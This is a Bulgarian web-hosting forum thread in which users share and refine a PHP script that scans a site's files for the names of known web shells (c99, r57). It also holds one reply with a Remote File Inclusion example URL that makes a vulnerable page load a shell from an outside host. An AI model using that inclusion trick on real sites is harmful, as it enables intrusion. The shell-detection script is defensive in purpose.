Търсене на шел

alex95_bg_2

Registered
Ето ви едно малко кодче, което понякога ползвам за да проверявам за съмнителни файлове по хостовете ми :)

Код:
<?php
set_time_limit(0);

function getDirectory( $path = '.', $level = 0 ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );

    while( false !== ( $file = readdir( $dh ) ) ){
    
        if( !in_array( $file, $ignore ) ){
            
            if( is_dir( "$path/$file" ) ){
                getDirectory( "$path/$file", ($level+1) );
            } else {
                if(end(explode(".", $file)) == "php") {
                	$f = file_get_contents("$path/$file");
                	if(eregi("(shell|c99|r57)", $f)) echo "$path/$file -> sumnitelen <br />";
                }
            
            }
        
        }
    
    }
    
    closedir( $dh );

} 

getDirectory("./");
?>
слагате го в главната дир и то си рови натам само :)
обаче връща и грешни резултати, няколко файла на wordpress и на phpBB :)
 
Код:
<?php
set_time_limit(0);

function getDirectory( $path = '.', $level = 0 ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );

    while( false !== ( $file = readdir( $dh ) ) ){
   
        if( !in_array( $file, $ignore ) ){
           
            if( is_dir( "$path/$file" ) ){
                getDirectory( "$path/$file", ($level+1) );
            } else {
                if(end(explode(".", $file)) == "php") {
                   $f = file_get_contents("$path/$file");
                   if(eregi("(shell|c99|r57)", $f) && !eregi($_SERVER['PHP_SELF'], $file)) echo "$path/$file -> sumnitelen <br />";
                }
           
            }
       
        }
   
    }
   
    closedir( $dh );

}

getDirectory("./");
?>
 
в тхт защо да не го изпълни?
има бъг (вече почти не срещан) който позволява да го launch-не
пример: stranica.php?id=http://shelami.com/shellz/shell.txt? и си го лаунчва :)
 
еми ако си разгледал кода .. то търси файлове в който садържа код от рода на c99, r57, който са все наименования на шелове .. А за въпроса за .txt шелове .. какав е смисала да търси и .txt като този шел ще покаже само кода на сами шел .. смисал той няма да може да се ползва .. явно някой хора незнаят реално какво е шел и как се ползва .. не че им не нужно де .. :?
 
чудно защо и във самият файл на този код (за търсещия шел коде) , пак го открива като съмнителен...
 
mineone каза:
в тхт защо да не го изпълни?
има бъг (вече почти не срещан) който позволява да го launch-не
пример: stranica.php?id=http://shelami.com/shellz/shell.txt? и си го лаунчва :)
Нарича се RFI (Remote File Inclusion) и вече е адски рядко срещан, да
 
Дава ми грешка на първия ред

Fatal error: Call to undefined function phpset_time_limit() in /home/saita/public_html/1321.php on line 1
 
добре скрипта работи а как може да се предпазиме да ни качът ? ако нямам в сайта следователно когато аз съм го писал е нормално да няма но съм си сложил и anti-sql injection и пак ми го хакват ... по някакъв начин и както си работи ми казва "Connot connect sql failed" и единствения начин за да го пусна сайта е формат на ПС то .. :( някой можели да помогне ?
 

Back
Горе